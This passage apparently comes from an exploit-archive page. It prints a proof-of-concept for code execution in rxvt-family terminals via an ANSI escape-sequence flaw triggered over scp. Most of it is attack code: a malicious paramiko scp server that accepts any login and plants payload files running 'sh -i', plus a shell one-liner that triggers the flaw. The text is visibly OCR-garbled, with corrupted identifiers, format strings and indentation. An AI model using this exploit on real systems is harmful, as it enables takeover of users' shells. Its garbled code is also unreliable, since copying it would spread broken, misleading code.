bringing security into open environments

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```
#!/usr/bin/env python
# Title: rxvt (remote) code execution over scp with $SHELL=/bin/bash (Oday)
# Version: rxvt 2.7.10, rxvt-unicode 9.22, mrxvt 0.5.4, eterm 0.9.7
# Author: def <def@...meet.info>
# Date: 2021-05-17
# CVE: N/A
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    (II) RXVT VIII.NERABII.TTY
   In rxvt-based terminals, ANSI escape sequence ESC G Q (\eGQ, \033GQ, \xlbGQ) queries the availability of graphics and the response is received from stdin. However, rxvt responds to the query with a newline-terminated message, which is retarded and exposes goatse-wide gaping security holes in many popular CLI programs when executed inside an rxvt terminal window.
    [def@...h \sim]$ printf '\eGQ'
    [def@...h ~]$ 0
bash: 0: command not found
   The latter command (i.e., 0) executes automatically without user interaction. The contents of the second command can be somewhat controlled by chaining the printf message with other escape sequences. In particular, a VTS2 mode escape sequence \e2 prepends a letter Z and triggers bash's tab completion, allowing the construction of relative paths and, therefore, code execution in the form of running (planted) files from subdirectories in the current directory.
   URXYT (+BASH) CODE EXECUTION PROOF-OF-CONCEPT -----
    % mkdir -p 222 && echo 'uname -a; id; date; sh -i' >222/0 && chmod +x 222/0 % urxvt -e bash
    [def0...h ~]$ printf '\e[?21\eZ\e<\eGQ'
   .
# FIX ---
  Don't use rxvt or any of its derivatives. Stay the fuck away from xterm also.
   st(1) is a viable solution if you ever plan to `cat /var/log/access.log` or otherwise handle untrusted data from questionable sources.
import logging
import logging
import paramiko
import socket
import threading
logging.basicConfig(level=logging.INFO)
This script implements a scp server that exploits insecure ANSI escape sequence handling in client's (u)rwt terminal (and bash shell). A recursive (-r) copy into the current directory leads to code execution. For example:
       $ scp -r -P2222 user@...alhost:/backup/or/whatever/ .
The above command transfers payload files 222/0, 222/1 and 222/20 to the client and executes one of them (the executed payload depends on the rxvt version).
bind = ('localhost', 2222)
payload = '#!/bin/sh\nuname -a; id; date; sh -i\n'
class ScpExploitServer(paramiko.ServerInterface):
         def __init__(self):
    self.event = threading.Event()
        def get_allowed_auths(self, username):
    return "password"
         def check_auth_none(self, username):
   logging.info('Authenticating as %s', username)
   return paramiko.AUTH_SUCCESSFUL
         def check auth_password(self, username, password):
    logging.info('Authenticating with %s:%s', username, password)
    return paramiko.AUTH_SUCCESSFUL
        def check channel request(self, kind, chanid):
logging.info("Opening %s channel %d", kind, chanid)
if kind != "session":
return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED
return paramiko.OPEN_SUCCEEDED
        def check channel_exec_request(self, channel, command):
    chanid, command = channel.get_id(), command.decode('ascii')
    logging.info('Approving channel %d exec request: %s', chanid, command)
    parts = command.split()
    assert len(parts) > 2 and parts[0] == 'scp' and '-f' in parts
    threading.Thread(target=self.exploit, args=[channel]).start()
    return True
         def exploit(self, channel):
    def wait(): assert channel.recv(4096) == b'\x00'
    def send(): channel.sendall(b'\x00')
    fdir, fname0, fname1, fname2 = '222', '0', '1', '20'
    wait()
                  # (1) Create subdirectory './Z2Z/'
logging.info('Enter "%s/" (channel %d)', fdir, channel.get_id())
command = 'D0755 0 {}\n'.format(fdir).encode('ascii')
channel.sendall(command)
                  # (2) Save the payload as './2ZZ/0', './2ZZ/1' and './2ZZ/20'
logging.info('Send file "%s" (channel %d)', fname0, channel.get_id())
command = 'CO755 [} {}\n'.format(len(payload), fname0).encode('ascii')
channel.sendall(command)
                  wait()
channe
                              ,
el.sendall(payload)
                   send()
wait()
                  #channel.sendall_stderr("\x1b[1A".encode('ascii'))
                  logging.info('Send file "%s" (channel %d)', fnamel, channel.get_id())
command = 'COT55 {} {}\n'.format(len(payload), fnamel).encode('ascii')
channel.sendall(command)
```

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